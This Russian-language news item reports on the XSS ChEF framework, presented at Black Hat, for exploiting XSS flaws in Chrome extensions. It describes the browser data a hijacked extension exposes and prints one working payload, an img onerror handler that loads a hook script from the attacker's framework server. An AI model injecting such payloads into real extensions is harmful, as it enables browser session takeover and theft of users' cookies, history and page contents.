Известные хакеры частенько стараются подготовить что-нибудь особенное к конференции Black Hat, чтобы удивить друзей и коллег. Не стал исключением эксперт по расширениям Chrome Кржиштоф Котович (Krzysztof Kotowicz), который совместно с Кайлом Осборном (Kyle Osborn) представил доклад о продвинутых методах взлома расширений Chrome.
Поскольку информация всё равно ушла в открытый доступ, Кржиштоф решил опубликовать её также в собственном блоге.
Речь идёт о полноценном фреймворке, c помощью которого удобно осуществлять эксплойт XSS-уязвимостей в расширениях Chrome. Каждое расширение можно рассматривать как HTML5-приложение, уязвимое перед стандартными веб-атаками, такими как XSS, подробнее смотри работу Advanced Chrome Extension Exploitation: Leveraging API powers for Better Evil. Что характерно, уязвимости XSS встречаются там очень часто (опять же, смотри вышеупомянутую работу).
Расширение Chrome — это веб-приложение с определёнными привилегиями в системе, что делает его более привлекательным для взлома. В зависимости от манифеста, расширения имеют право получать контент любой посещённой веб-страницы и собирать URL'ы в режиме инкогнито, исполнять скрипты в контексте определённого веб-сайта (глобальный XSS), делать скриншоты вкладок, отслеживать историю сёрфинга и куки, иметь доступ к закладкам, даже менять настройки прокси-сервера.
Если вы осуществили XSS-эксплойт, то вы получаете возможность произвести всё это на компьютере пользователя. Нужно всего лишь обратиться к Chrome API.
Коммуникация с API трудоёмка, поэтому Кржиштоф разработал фреймворк XSS CheF - Chrome Extension Exploitation, который делает основную работу. Фактически, это эквивалент известного инструмента BeEF, который превращает веб-приложение с найденной XSS-уязвимостью в «зомби», выполняющего удалённые команды.
Итак, как только вы обнаружили XSS-уязвимость в расширении, можете вставить туда код для загрузки эксплойта, например такой:
<img src=x onerror="if(location.protocol.indexOf('chrome')==0){ d=document;e=createElement('script');e.src='http://localhost/xsschef/hook.php'; d.body.appendChild(e);}">
Теперь через консоль фреймворка вы получаете контроль над сессией в браузере Chrome, в рамках манифеста уязвимого расширения.
Фреймворк сделан с расчётом на высокую производительность, использует WebSockets. Программа поставляется с набором подготовленных скриптов для атаки:
Демо
Программный код XSS CheF открыт на Github, программа распространяется под лицензией GPLv3.